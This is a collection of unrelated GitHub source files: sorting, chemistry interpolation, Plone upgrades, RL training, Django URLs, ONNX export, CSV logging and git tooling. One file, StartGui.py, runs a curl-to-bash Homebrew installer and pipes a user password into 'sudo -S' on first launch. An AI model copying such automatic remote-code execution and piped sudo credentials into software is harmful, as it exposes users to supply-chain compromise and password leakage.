+{"seq_id":"38591575580","text":"def merge(lista1, lista2):\n # Nueva lista para guardar elementos\n nueva = list() \n # Vamos extraer los primeros elementos de cada lista y compararlos mientras se pueda\n while len(lista1) > 0 and len(lista2) > 0:\n # Si el primer elemento de la primera lista es menor o igual que el de la segunda\n if lista1[0] <= lista2[0]:\n # Lo agregamos a nuesta nueva lista\n nueva.append(lista1[0]) \n # Removemos el primer elemento de la primera lista\n lista1 = lista1[1:]\n else: # Si el primer elemento de la segunda lista es menor\n # Se agrega a la nueva lista\n nueva.append(lista2[0]) \n # Removemos el primer elemento de la segunda lista\n lista2 = lista2[1:]\n # Notar que en algun momento una de las dos listas quedara vacia antes que la otra\n # Con los ciclos que siguen vamos a agregar los elementos sobrantes a nuesta nueva lista\n # Solo uno de los siguientes dos ciclos se ejecutara\n for v1 in lista1:\n nueva.append(v1)\n for v2 in lista2:\n nueva.append(v2)\n return nueva\n# Prueba\nl1 = [1, 1, 2, 3, 5, 6, 10, 12]\nl2 = [0, 2, 5, 5, 7, 8]\nprint(merge(l1, l2))","repo_name":"progra-utfsm/ejercicios","sub_path":"docs/python/listas/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9117939530","text":"import argparse\nimport ase.io\nfrom ase.neb import NEB\nimport os\n\n\ndef get_atoms(file, index):\n if \".traj\" in file:\n atoms = ase.io.read(filename=file, index=index, format=\"traj\")\n elif \".xyz\" in file:\n atoms = ase.io.read(filename=file, index=index, format=\"xyz\")\n elif \".xml\" in file:\n atoms = ase.io.read(filename=file, index=index, format=\"vasp-xml\")\n else:\n raise f\"Check the format of the file, {file} to read.\"\n return atoms\n\n\ndef read_command_line_arguments():\n parser = argparse.ArgumentParser(\n description=\"Interpolates between IS to TS and TS to FS\")\n parser.add_argument(\"--IS\", type=str, required=True,\n help=\"path of initial state structure\", metavar=\"\")\n parser.add_argument(\"--TS\", type=str, required=True,\n help=\"path of guess transition state structure\", metavar=\"\")\n parser.add_argument(\"--FS\", type=str, required=True,\n help=\"path of final state structure\", metavar=\"\")\n parser.add_argument(\"--out_dir\", type=str, default=\".\",\n help=\"output directory (default is \\\".\\\" i.e. current working directory)\", metavar=\"\")\n parser.add_argument(\"--IS_index\", type=int, default=-1,\n help=\"index of IS structure (default is last index)\", metavar=\"\")\n parser.add_argument(\"--TS_index\", type=int, default=-1,\n help=\"index of TS structure (default is last index)\", metavar=\"\")\n parser.add_argument(\"--FS_index\", type=int, default=-1,\n help=\"index of FS structure (default is last index)\", metavar=\"\")\n parser.add_argument(\"--method\", type=str, default=\"linear\", choices=[\n \"linear\", \"idpp\"], help=\"NEB interpolation method (default is linear)\", metavar=\"\")\n parser.add_argument(\"--left\", type=int, default=2,\n help=\"number of images to interpolate between IS and TS (default is 2)\", metavar=\"\")\n parser.add_argument(\"--right\", type=int, default=2,\n help=\"number of images to interpolate between TS and FS (default is 2)\", metavar=\"\")\n args = parser.parse_args()\n\n if args.out_dir[-1] == \"/\":\n args.out_dir = args.out_dir[:-1]\n\n return args\n\n\nif __name__ == '__main__':\n args = read_command_line_arguments()\n\n initial_structure = get_atoms(file=args.IS, index=args.IS_index)\n initial_structure.pbc = True\n transition_structure = get_atoms(file=args.TS, index=args.TS_index)\n transition_structure.pbc = True\n final_structure = get_atoms(file=args.FS, index=args.FS_index)\n final_structure.pbc = True\n\n guess_path = []\n images = [initial_structure]\n images += [initial_structure.copy() for _ in range(args.left)]\n images += [transition_structure]\n neb = NEB(images)\n neb.interpolate(method=args.method, mic=True)\n guess_path = images[1:] # this includes the guess TS but excludes IS\n del images\n\n images = [transition_structure]\n images += [transition_structure.copy() for i in range(args.right)]\n images += [final_structure]\n neb = NEB(images)\n neb.interpolate(method=args.method, mic=True)\n guess_path += images[1:-1] # this excludes both the guess TS and FS\n del images\n\n if not os.path.exists(f\"{args.out_dir}\") and args.out_dir != \".\":\n os.makedirs(f\"{args.out_dir}\")\n ase.io.write(f\"{args.out_dir}/is.traj\", initial_structure)\n ase.io.write(f\"{args.out_dir}/fs.traj\", final_structure)\n ase.io.write(f\"{args.out_dir}/guess_path.traj\", guess_path)\n","repo_name":"skethirajan/MOF_CODES","sub_path":"mof_codes/dft/VASP/neb_interpolate.py","file_name":"neb_interpolate.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16368998789","text":"import platform\nimport os\nimport sys\nfrom shutil import which\nfrom subprocess import call\nimport Core.LinuxStartUp as Start\n\n\nif sys.version_info[:2] < (3, 7):\n print(\"Requires Python 3.7 or newer. \"\n \"Python %d.%d detected\" % sys.version_info[:2])\n sys.exit(-1)\n\nif platform.system() == 'Windows':\n OS = 'Windows'\nelif platform.system() == 'Linux':\n OS = 'Linux'\nelif platform.system() == 'Darwin':\n OS = 'Darwin'\n\npath = os.getcwd()\nif OS == 'Windows':\n cache = path + '\\Core\\Cache'\nelif OS == 'Darwin':\n cache = path + '/Core/Cache'\nelse: # Linux\n cache = path + '/Core/Cache'\n\nisExist = os.path.exists(cache)\nif not isExist: # Create a new directory because it does not exist\n os.system('pip install -r requirements.txt')\n os.system('pip install latex')\n if OS == 'Windows':\n if which('latex'):\n print('latex installed')\n else:\n print('Please install Latex before using the software')\n sys.exit(-1)\n elif OS == 'Darwin':\n if which('latex'):\n print('latex installed')\n else:\n os.system(\n '/bin / bash - c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"')\n os.system('brew install mactex')\n else: # Linux\n pwd = Start.Linux()\n cmd = 'sudo apt install -y idle3 texlive-latex-extra cm-super dvipng'\n return_call = call('echo {} | sudo -S {}'.format(pwd, cmd), shell=True)\n while return_call == 1:\n pwd = Start.Linux()\n cmd = 'sudo apt install -y idle3 texlive-latex-extra cm-super dvipng'\n return_call = call('echo {} | sudo -S {}'.format(pwd, cmd), shell=True)\n os.makedirs(cache)\n\n\nif OS == 'Windows':\n import Core.GUI\nelif OS == 'Darwin':\n import Core.GUI\nelse: # Linux\n import Core.GUI\n","repo_name":"CharlieGPA40/SHG-Simulation-Package-Beta","sub_path":"StartGui.py","file_name":"StartGui.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73351922778","text":"from plone import api\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom zope.component import getAllUtilitiesRegisteredFor\n\nimport logging\nimport transaction\n\n\nlogger = logging.getLogger(__name__)\nPACKAGE_NAME = \"collective.behavior.relatedmedia\"\n\n\ndef package_rename(context):\n profile_id = \"profile-{0}:default\".format(PACKAGE_NAME)\n oldreg_profile_id = \"profile-{0}:package_rename\".format(PACKAGE_NAME)\n # remove old registry entries\n context.runAllImportStepsFromProfile(oldreg_profile_id)\n # add new registry\n context.runImportStepFromProfile(profile_id, \"plone.app.registry\")\n\n\ndef local_gallery_configuration(context):\n update_profile_id = \"profile-{0}:local_config\".format(PACKAGE_NAME)\n context.runAllImportStepsFromProfile(update_profile_id)\n\n\ndef registry_cleanup(context):\n update_profile_id = \"profile-{0}:registry_cleanup\".format(PACKAGE_NAME)\n context.runAllImportStepsFromProfile(update_profile_id)\n\n\ndef migrate_base_path_relations(context):\n from collective.behavior.relatedmedia.behavior import IRelatedMediaBehavior\n\n catalog = api.portal.get_tool(\"portal_catalog\")\n items = catalog(\n object_provides=\"collective.behavior.relatedmedia.behavior.IRelatedMedia\",\n )\n _num_items = len(items)\n\n for idx, item in enumerate(items, 1):\n try:\n obj = item.getObject()\n except KeyError as msg:\n # there might be broken objects\n logger.warning(f\"Could not migrate {item.getPath()}: {msg}\")\n continue\n\n try:\n base_path = IRelatedMediaBehavior(obj).related_media_base_path\n except TypeError:\n logger.info(\n f\"{idx}/{_num_items} no relatedmedia behavior registered for {item.getPath()}.\"\n )\n continue\n\n if not base_path:\n logger.info(\n f\"{idx}/{_num_items} skip migration of {item.getPath()} -> no base path defined.\"\n )\n continue\n\n logger.info(f\"{idx}/{_num_items} migrating {item.getPath()}.\")\n\n for media in catalog(path=base_path.to_path):\n # related images\n if media.portal_type == \"Image\":\n img_obj = media.getObject()\n api.relation.create(\n source=obj, target=img_obj, relationship=\"related_images\"\n )\n logger.info(f\" - related_image {media.getPath()} created\")\n continue\n # related attachments\n if media.portal_type == \"File\":\n file_obj = media.getObject()\n api.relation.create(\n source=obj, target=file_obj, relationship=\"related_attachments\"\n )\n logger.info(f\" - related_attachment {media.getPath()} created\")\n continue\n logger.info(f\" - no relation created for unknown type {media.getPath()}...\")\n\n # remove base_path information\n IRelatedMediaBehavior(obj).related_media_base_path = None\n transaction.commit()\n\n\ndef migrate_behavior_name(context):\n ftis = getAllUtilitiesRegisteredFor(IDexterityFTI)\n\n for fti in ftis:\n updated_fti = []\n for behavior in fti.behaviors:\n if behavior in updated_fti:\n continue\n if behavior == \"collective.behavior.relatedmedia.behavior.IRelatedMedia\":\n updated_fti.append(\"collective.relatedmedia\")\n else:\n updated_fti.append(behavior)\n fti.behaviors = tuple(updated_fti)\n","repo_name":"collective/collective.behavior.relatedmedia","sub_path":"collective/behavior/relatedmedia/upgrades.py","file_name":"upgrades.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"11564319853","text":"from js9 import j\nimport blist\nfrom blist import * # https://github.com/DanielStutzbach/blist\nfrom test_pb2 import *\nfrom google.protobuf import json_format\nfrom google.protobuf import text_format\n\n\nclass Person2():\n def __init__(self, nr):\n self.nr = nr\n\n @property\n def obj(self):\n m = Person()\n m.FromString(out[self.nr])\n return m\n\n\nstartmb = j.application.getMemoryUsage() / 1024\nprint(\"start:%s MB\" % startmb)\nprint(\"start\")\ntot = 20000\ndata = \"a\" * 100\nout = blist()\nout2 = blist()\npersons = []\nfor i in range(tot):\n m = Person()\n m.name = data\n m.phones.add(number=\"23424324\", type=Person.MOBILE)\n m.SerializeToString()\n out.append(m.SerializeToString())\n out2.append(\"this is a name;urgent;something\")\n # persons.append(Person2(i))\nprint(\"read\")\nfor item in out:\n m = Person()\n m = m.FromString(item)\n json_format.MessageToDict(m)\n # text_format.MessageToString(m)\nprint(\"stop\")\n\n\nprint(\"minsize:%s MB\" % ((tot * (len(data) + 30)) / 1024 / 1024))\n\nstopmb = j.application.getMemoryUsage() / 1024\nprint(\"dataused:%s MB\" % (stopmb - startmb))\n\n# res = []\n\n# startmb = j.application.getMemoryUsage() / 1024\n# print(\"start:%s MB\" % startmb)\n# print(\"start\")\n# tot = 100000\n# data = \"a\" * 100\n# for i in range(tot):\n# m = test.SearchRequest()\n# m.query = data\n# res.append(m)\n# print(\"stop\")\n\n# print(\"minsize:%s MB\" % (tot * len(data) / 1024 / 1024))\n\n# stopmb = j.application.getMemoryUsage() / 1024\n# print(\"dataused:%s MB\" % (stopmb - startmb))\n","repo_name":"Incubaid/playenv","sub_path":"protobuf/proto.py","file_name":"proto.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73297752215","text":"import numpy as np\n\ndef debug(debuglevel, msg, DEBUG=1, **kwargs):\n if debuglevel <= DEBUG:\n if 'printNow' in kwargs:\n if kwargs['printNow']:\n print(msg) \n else:\n print(msg) \n\ndef env_update(env, RL, data, episodes=50, sim_speed = 0.05, showRender=True, renderEveryNth=5, printEveryNth=1):\n global_reward = np.zeros(episodes)\n data['global_reward']=global_reward\n\n for episode in range(episodes): \n t=0\n # initial state\n if episode == 0:\n state = env.reset(value = 0)\n else:\n state = env.reset()\n \n debug(2,'state(ep:{},t:{})={}'.format(episode, t, state))\n\n # RL choose action based on state\n action = RL.choose_action(str(state))\n while True:\n # fresh env\n #if(t<5000 and (showRender or (episode % renderEveryNth)==0)):\n if(showRender or (episode % renderEveryNth)==0):\n env.render(sim_speed)\n\n\n # RL take action and get next state and reward\n state_, reward, done = env.step(action)\n global_reward[episode] += reward\n debug(2,'state(ep:{},t:{})={}'.format(episode, t, state))\n debug(2,'reward_{}= total return_t ={} Mean50={}'.format(reward, global_reward[episode],np.mean(global_reward[-50:])))\n \n\n # RL learn from this transition\n # and determine next state and action\n state, action = RL.learn(str(state), action, reward, str(state_))\n\n\n # break while loop when end of this episode\n if done:\n break\n else:\n t=t+1\n\n debug(1,\"({}) Episode {}: Length={} Total return = {} \".format(RL.display_name,episode, t, global_reward[episode],global_reward[episode]),printNow=(episode%printEveryNth==0))\n if(episode>=100):\n debug(1,\" Median100={} Variance100={}\".format(np.median(global_reward[episode-100:episode]),np.var(global_reward[episode-100:episode])),printNow=(episode%printEveryNth==0))\n # end of game\n print('game over -- Algorithm {} completed'.format(RL.display_name))\n env.destroy()","repo_name":"wiesnseb/sailing_rf","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"34805379085","text":"\"\"\"Urls for User and UserProfile views\"\"\"\nfrom django.urls import path\nfrom django.contrib.auth import views as auth_views\n\nfrom . import views\n\napp_name = \"accounts\"\n\n\nurlpatterns = [\n # login and registration endpoints\n path(\"register\", views.RegisterView.as_view(), name=\"register\"),\n path(\n \"login/\",\n auth_views.LoginView.as_view(\n template_name=\"registration/login.html\", redirect_authenticated_user=True\n ),\n name=\"login\",\n ),\n path(\n \"logout/\",\n auth_views.LogoutView.as_view(template_name=\"registration/logout.html\"),\n name=\"logout\",\n ),\n # detail view\n path(\n \"profile//\", views.UserProfileView.as_view(), name=\"profile-detail\"\n ),\n]\n","repo_name":"adam-harmasz/gomoku_v_0_2","sub_path":"src/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"8483530101","text":"\nfrom os import PathLike\nfrom pathlib import Path\n\nfrom transformers import HubertConfig, HubertForCTC\n\nimport torch\nimport torch.onnx\n\nfrom ..converters.convert_hubert import (\n extract_hubert_config,\n extract_hubert_state,\n load_fairseq_hubert,\n)\nfrom ..converters.convert_vits import (\n extract_vits_config,\n extract_vits_state,\n load_vits_checkpoint,\n)\nfrom ..models.configuration_rvc import RVCConfig\nfrom ..models.feature_extraction_rvc import RVCFeatureExtractor\nfrom ..models.modeling_rvc import RVCModel\nfrom ..models.vits.models import (\n SynthesizerTrnMs256NSFsid,\n SynthesizerTrnMs256NSFsidConfig,\n)\n\ndef export_onnx(\n vits_path: str | PathLike,\n output_path: str | PathLike = \"./models/out.onnx\",\n save_directory: str | PathLike | None = None,\n hubert_path: str | PathLike = \"./models/hubert_base\",\n f0_method: str = \"pm\",\n unsafe: bool = False,\n safe_serialization=True,\n):\n \"\"\"Export onnx.\n\n Args:\n vits_path: Path to the original VITS checkpoint.\n save_directory: Directory to save the converted RVC model (optional).\n hubert_path: Path to the original Hubert model (default: \"./models/hubert_base\").\n f0_method: F0 extraction method, \"pm\" or \"harvest\" (default: \"pm\").\n unsafe: Set to True to load untrusted models (default: False).\n safe_serialization: Set to False to disable safe serialization (default: True).\n \"\"\"\n\n if save_directory is None:\n p = Path(vits_path)\n save_directory = p.parent / p.stem\n\n if Path(hubert_path).is_file():\n fairseq_hubert = load_fairseq_hubert(str(hubert_path), unsafe)\n hubert_config = extract_hubert_config(fairseq_hubert)\n hubert_state = extract_hubert_state(hubert_config, fairseq_hubert)\n else:\n hubert_config = HubertConfig.from_pretrained(hubert_path)\n hubert_model = HubertForCTC.from_pretrained(hubert_path)\n assert isinstance(hubert_model, HubertForCTC)\n hubert_state = hubert_model.state_dict()\n\n assert isinstance(hubert_config, HubertConfig)\n\n if Path(vits_path).is_file():\n vits_checkpoint = load_vits_checkpoint(vits_path)\n vits_config = extract_vits_config(vits_checkpoint)\n vits_state = extract_vits_state(vits_checkpoint)\n vits_strict = False\n else:\n vits_config = SynthesizerTrnMs256NSFsidConfig.from_pretrained(vits_path)\n assert isinstance(vits_config, SynthesizerTrnMs256NSFsidConfig)\n vits = SynthesizerTrnMs256NSFsid.from_pretrained(vits_path)\n assert isinstance(vits, SynthesizerTrnMs256NSFsid)\n vits_state = vits.state_dict()\n vits_strict = True\n\n model = RVCModel(\n RVCConfig(\n hubert=hubert_config,\n vits=vits_config,\n )\n )\n\n # load state\n model.hubert.load_state_dict(hubert_state)\n model.vits.load_state_dict(vits_state, strict=vits_strict)\n\n model.eval()\n model.to(\"cpu\")\n\n dummy_input_values = torch.randn(1, 16000, dtype=torch.float32)\n dummy_f0_coarse = torch.zeros(1, 100, dtype=torch.int32)\n dummy_f0 = torch.randn(1, 100, dtype=torch.float32)\n\n # export\n torch.onnx.export(\n model,\n (dummy_input_values, dummy_f0_coarse, dummy_f0),\n output_path,\n opset_version=15,\n input_names=[\"input_values\", \"f0_coarse\", \"f0\"],\n output_names=[\"output\"],\n dynamic_axes={\n \"input_values\": {0: \"batch\", 1: \"sequence\"},\n \"f0_coarse\": {0: \"batch\", 1: \"sequence\"},\n \"f0\": {0: \"batch\", 1: \"sequence\"},\n \"output\": {0: \"batch\", 1: \"sequence\"},\n },\n )\n\n return model\n\n\nif __name__ == \"__main__\":\n from argh import ArghParser\n\n parser = ArghParser()\n parser.set_default_command(export_onnx)\n parser.dispatch()\n","repo_name":"ogukei/simple-rvc","sub_path":"hf-rvc/hf_rvc/tools/export_onnx.py","file_name":"export_onnx.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"2338970285","text":"import csv\nimport logging\n\nfrom datetime import datetime\n\nlog = logging.getLogger(\"wifininja.fileLib\")\n\nWLC_HEADINGS = [\n \"date\", \"time\", \"clients-now\", \"lan-interface\",\n \"in-bytes\", \"out-bytes\", \"in-discards\", \"in-discards-64\",\n \"in-unknown-protos\", \"in-unknown-protos-64\", \"out-discards\", \"per-phy\", \"top-os\"\n]\n\nAP_HEADINGS = [\n \"date\", \"time\", \"ap-name\", \"radio-mac\", \"eth-mac\",\n \"slot\", \"state\", \"mode\", \"band\", \"channel\", \"width\", \"stations\", \"ch_util\", \"ch_changes\",\n \"slot\", \"state\", \"mode\", \"band\", \"channel\", \"width\", \"stations\", \"ch_util\", \"ch_changes\",\n \"slot\", \"state\", \"mode\", \"band\", \"channel\", \"width\", \"stations\", \"ch_util\", \"ch_changes\",\n \"slot\", \"state\", \"mode\", \"band\", \"channel\", \"width\", \"stations\", \"ch_util\", \"ch_changes\",\n \"slot\", \"state\", \"mode\", \"band\", \"channel\", \"width\", \"stations\", \"ch_util\", \"ch_changes\"\n]\n\n\nclass InitCsv():\n\n def __init__(self):\n\n self.path = \"./logs/\"\n self.stamp = str(datetime.now())[:-7].replace(':', \"-\").replace(\" \", \"_\")\n self.wlc_filename = f\"{self.path}{self.stamp}_WLC.csv\"\n self.ap_filename = f\"{self.path}{self.stamp}_AP.csv\"\n\n write_csv(self.wlc_filename, WLC_HEADINGS)\n write_csv(self.ap_filename, AP_HEADINGS)\n\n\ndef date_time():\n\n dt = []\n stamp = str(datetime.now())[:-7]\n dt.append(stamp.split()[0])\n dt.append(stamp.split()[1])\n\n return dt\n\n\ndef write_csv(filename, row):\n\n try:\n with open(filename, \"a\") as csvfile:\n csvwriter = csv.writer(csvfile, lineterminator=\"\\n\", delimiter=\",\")\n csvwriter.writerow(row)\n except PermissionError:\n log.error(f\"Unable to append CSV\")\n\n\ndef send_to_csv_wlc(wlc_dict):\n\n row_data = date_time()\n try:\n row_data.append(wlc_dict[\"all-clients\"])\n row_data.append(wlc_dict[\"lan-interface\"])\n row_data.append(wlc_dict[\"in-bytes\"])\n row_data.append(wlc_dict[\"out-bytes\"])\n row_data.append(wlc_dict[\"in-discards\"])\n row_data.append(wlc_dict[\"in-discards-64\"])\n row_data.append(wlc_dict[\"in-unknown-protos\"])\n row_data.append(wlc_dict[\"in-unknown-protos-64\"])\n row_data.append(wlc_dict[\"out-discards\"])\n try:\n row_data.append(wlc_dict[\"per-phy\"])\n except KeyError: #append blank cell when no client data exists e.g. 0 clients\n row_data.append(\"\")\n try:\n row_data.append(wlc_dict[\"top-os\"])\n except KeyError: #append blank cell when no client data exists e.g. 0 clients\n row_data.append(\"\")\n\n except KeyError:\n log.warning(f\"WLC data incomplete. Not writing to CSV\")\n else:\n write_csv(init.wlc_filename, row_data)\n\n\ndef send_to_csv_ap(ap_dict):\n\n dt = date_time()\n for ap_mac, ap_data in ap_dict.items():\n row_data = []\n row_data.append(dt[0])\n row_data.append(dt[1])\n try:\n row_data.append(ap_data[\"ap_name\"])\n row_data.append(ap_mac)\n row_data.append(ap_data[\"eth_mac\"])\n for slot in range(0, ap_data[\"slot-count\"]):\n slot = str(slot)\n row_data.append(f\"SLOT {slot}\")\n try:\n row_data.append(ap_data[slot][\"state\"])\n row_data.append(ap_data[slot][\"mode\"])\n row_data.append(ap_data[slot][\"band\"])\n row_data.append(ap_data[slot][\"channel\"])\n row_data.append(ap_data[slot][\"width\"])\n row_data.append(ap_data[slot][\"stations\"])\n row_data.append(ap_data[slot][\"ch_util\"])\n row_data.append(ap_data[slot][\"ch_changes\"])\n except KeyError:\n row_data = row_data + [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n log.info(f\"No data for {ap_data['ap_name']} slot {slot}\") \n \n except KeyError:\n log.warning(f\"AP data incomplete. Not writing to CSV\")\n else:\n write_csv(init.ap_filename, row_data)\n\n\ninit = InitCsv()","repo_name":"Johnny8Bit/wifi-dashboard","sub_path":"libs/fileLib.py","file_name":"fileLib.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"38597665841","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Data Challenge : Historical consumption regression for electricity supply pricing\n\n# # This module helps the pre-processing automation of our data set. It includes all the function needed to deal\n# with missing values, adding features, normalisation and handling data type.\n\n# # # Importing\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\n# local import\nfrom .util import need\n\n\n# See the other notebook for data preprocessing details and visualisation\n\n# In[2]:\n\nclass Data:\n '''\n The aim of this class is to help applying different preprocessing function to our dataset.\n we begin by cleaning our data set, removing useless features then adding more features.\n The last two methods splits the data for the lwo locations.\n '''\n\n def __init__(self, data_train, data_test, y_data):\n self.data_train = data_train\n self.data_test = data_test\n self.y_data = y_data\n\n def data_preprocessing(self):\n # Remove useless features\n self.data_train = self.data_train.drop([\"loc_1\",\n \"loc_2\",\n \"loc_secondary_1\",\n \"loc_secondary_2\",\n \"loc_secondary_3\"],\n axis=1)\n self.data_test = self.data_test.drop([\"loc_1\",\n \"loc_2\",\n \"loc_secondary_1\",\n \"loc_secondary_2\",\n \"loc_secondary_3\"],\n axis=1)\n # add is holiday feature \n need.is_holiday(self.data_train)\n need.is_holiday(self.data_test)\n\n # convert to timestamp \n self.data_train.timestamp = pd.to_datetime(self.data_train.timestamp)\n self.data_test.timestamp = pd.to_datetime(self.data_test.timestamp)\n\n # indexing with timestamp\n self.data_test = self.data_test.set_index('timestamp')\n self.data_train = self.data_train.set_index('timestamp')\n\n # add time features\n need.time_features(self.data_train)\n need.time_features(self.data_test)\n\n # add is weekend feature\n need.is_weekend(self.data_train)\n need.is_weekend(self.data_test)\n\n # add smoothing for temp and humidity\n self.data_train['temp_1_smooth7D'] = self.data_train['temp_1'].interpolate().rolling(24 * 7).mean().fillna(\n method='bfill').round(decimals=1)\n self.data_train['temp_2_smooth7D'] = self.data_train['temp_2'].interpolate().rolling(24 * 7).mean().fillna(\n method='bfill').round(decimals=1)\n self.data_test['temp_1_smooth7D'] = self.data_test['temp_1'].interpolate().rolling(24 * 7).mean().fillna(\n method='bfill').round(decimals=1)\n self.data_test['temp_2_smooth7D'] = self.data_test['temp_2'].interpolate().rolling(24 * 7).mean().fillna(\n method='bfill').round(decimals=1)\n\n self.data_train['humidity_1_smooth7D'] = self.data_train['humidity_1'].interpolate().rolling(\n 24 * 7).mean().fillna(method='bfill').round()\n self.data_train['humidity_2_smooth7D'] = self.data_train['humidity_2'].interpolate().rolling(\n 24 * 7).mean().fillna(method='bfill').round()\n self.data_test['humidity_1_smooth7D'] = self.data_test['humidity_1'].interpolate().rolling(\n 24 * 7).mean().fillna(method='bfill').round()\n self.data_test['humidity_2_smooth7D'] = self.data_test['humidity_2'].interpolate().rolling(\n 24 * 7).mean().fillna(method='bfill').round()\n\n # Normalising data\n scaler = MinMaxScaler()\n self.data_train[['temp_1', 'temp_2',\n 'mean_national_temp',\n 'humidity_1', 'humidity_2',\n 'consumption_secondary_1',\n 'consumption_secondary_2',\n 'consumption_secondary_3',\n 'temp_1_smooth7D',\n 'temp_2_smooth7D',\n 'humidity_1_smooth7D',\n 'humidity_2_smooth7D']] = scaler.fit_transform(self.data_train[['temp_1', 'temp_2',\n 'mean_national_temp',\n 'humidity_1', 'humidity_2',\n 'consumption_secondary_1',\n 'consumption_secondary_2',\n 'consumption_secondary_3',\n 'temp_1_smooth7D',\n 'temp_2_smooth7D',\n 'humidity_1_smooth7D',\n 'humidity_2_smooth7D']])\n self.data_train = self.data_train.interpolate()\n self.data_test[['temp_1', 'temp_2',\n 'mean_national_temp',\n 'humidity_1', 'humidity_2',\n 'consumption_secondary_1',\n 'consumption_secondary_2',\n 'consumption_secondary_3',\n 'temp_1_smooth7D',\n 'temp_2_smooth7D',\n 'humidity_1_smooth7D',\n 'humidity_2_smooth7D']] = scaler.fit_transform(self.data_test[['temp_1', 'temp_2',\n 'mean_national_temp',\n 'humidity_1', 'humidity_2',\n 'consumption_secondary_1',\n 'consumption_secondary_2',\n 'consumption_secondary_3',\n 'temp_1_smooth7D',\n 'temp_2_smooth7D',\n 'humidity_1_smooth7D',\n 'humidity_2_smooth7D']])\n self.data_test = self.data_test.interpolate()\n\n def get_data_split(self):\n # split data train and test of the two sites\n x_train1 = self.data_train.drop(['temp_2',\n 'humidity_2',\n 'temp_2_smooth7D',\n 'humidity_2_smooth7D'],\n axis=1)\n\n x_train2 = self.data_train.drop(['temp_1',\n 'humidity_1',\n 'temp_1_smooth7D',\n 'humidity_1_smooth7D'],\n axis=1)\n\n x_test1 = self.data_test.drop(['temp_2',\n 'humidity_2',\n 'temp_2_smooth7D',\n 'humidity_2_smooth7D'], axis=1)\n\n x_test2 = self.data_test.drop(['temp_1',\n 'humidity_1',\n 'temp_1_smooth7D',\n 'humidity_1_smooth7D'], axis=1)\n\n return x_train1, x_train2, x_test1, x_test2\n\n def get_split_y_data(self):\n # split the data target of the two sites\n self.y_data = self.y_data.set_index(self.data_train.index)\n\n y_train1 = self.y_data['consumption_1']\n y_train2 = self.y_data['consumption_2']\n\n return y_train1, y_train2\n","repo_name":"aitsi/Time_series_project_on_historical_consumption_regression","sub_path":"Notebooks/model/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":8495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"42485713882","text":"#!/usr/bin/env python\n\n\"\"\"Set up upstream remote in each submodule and fetch.\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport subprocess\nimport sys\n\n# Prevent .pyc file generation\nsys.dont_write_bytecode = True\n\nlogger = logging.getLogger(__name__)\nscript_dir = os.path.dirname(os.path.abspath(__file__))\n\ndef split_and_log(string, log_level=logging.DEBUG):\n for line in iter(string.splitlines()):\n line = line.rstrip()\n if line:\n logger.log(log_level, line)\n\ndef call(args, **kwargs):\n try:\n p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, **kwargs)\n stdout, _ = p.communicate()\n split_and_log(stdout)\n return (0 == p.returncode)\n except (OSError, subprocess.CalledProcessError) as exception:\n logger.error('Subprocess failed. Exception: ' + str(exception))\n return False\n except:\n logger.error('Subprocess failed. Unknown exception.')\n return False\n\ndef parse_args(args):\n parser = argparse.ArgumentParser(description=__doc__)\n\n parser.add_argument(\"--log-level\", type=str, default=\"INFO\", choices=[\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\", \"CRITICAL\"], help=\"Desired console log level\")\n\n args = parser.parse_args(args)\n return args\n\ndef run(args):\n logging.basicConfig(level=args.log_level, format='%(levelname)-8s %(message)s')\n\n submodule_prefix = \"qt\"\n submodule_prefix_length = len(submodule_prefix)\n for file_name in os.listdir(script_dir):\n submodule_dir = os.path.join(script_dir, file_name)\n if os.path.isdir(submodule_dir):\n if file_name[:submodule_prefix_length] == submodule_prefix:\n if len(os.listdir(submodule_dir)) == 0:\n continue\n\n submodule = file_name\n\n # Ignore failure here if the upstream remote was already set\n call([\"git\", \"remote\", \"add\", \"upstream\", \"https://code.qt.io/qt/%s.git\" % submodule], cwd=submodule_dir)\n\n if not call([\"git\", \"fetch\", \"upstream\"], cwd=submodule_dir):\n logger.error(\"Could not fetch \\\"upstream\\\" for submodule \\\"%s\\\".\" % submodule)\n continue\n\n logger.info(\"Fetched upstream for submodule \\\"%s\\\".\" % submodule)\n\n return 0\n\nif __name__ == '__main__':\n sys.exit(run(parse_args(sys.argv[1:])))\n","repo_name":"cycollins/tqtc-qt5","sub_path":"st_submodules_fetch.py","file_name":"st_submodules_fetch.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
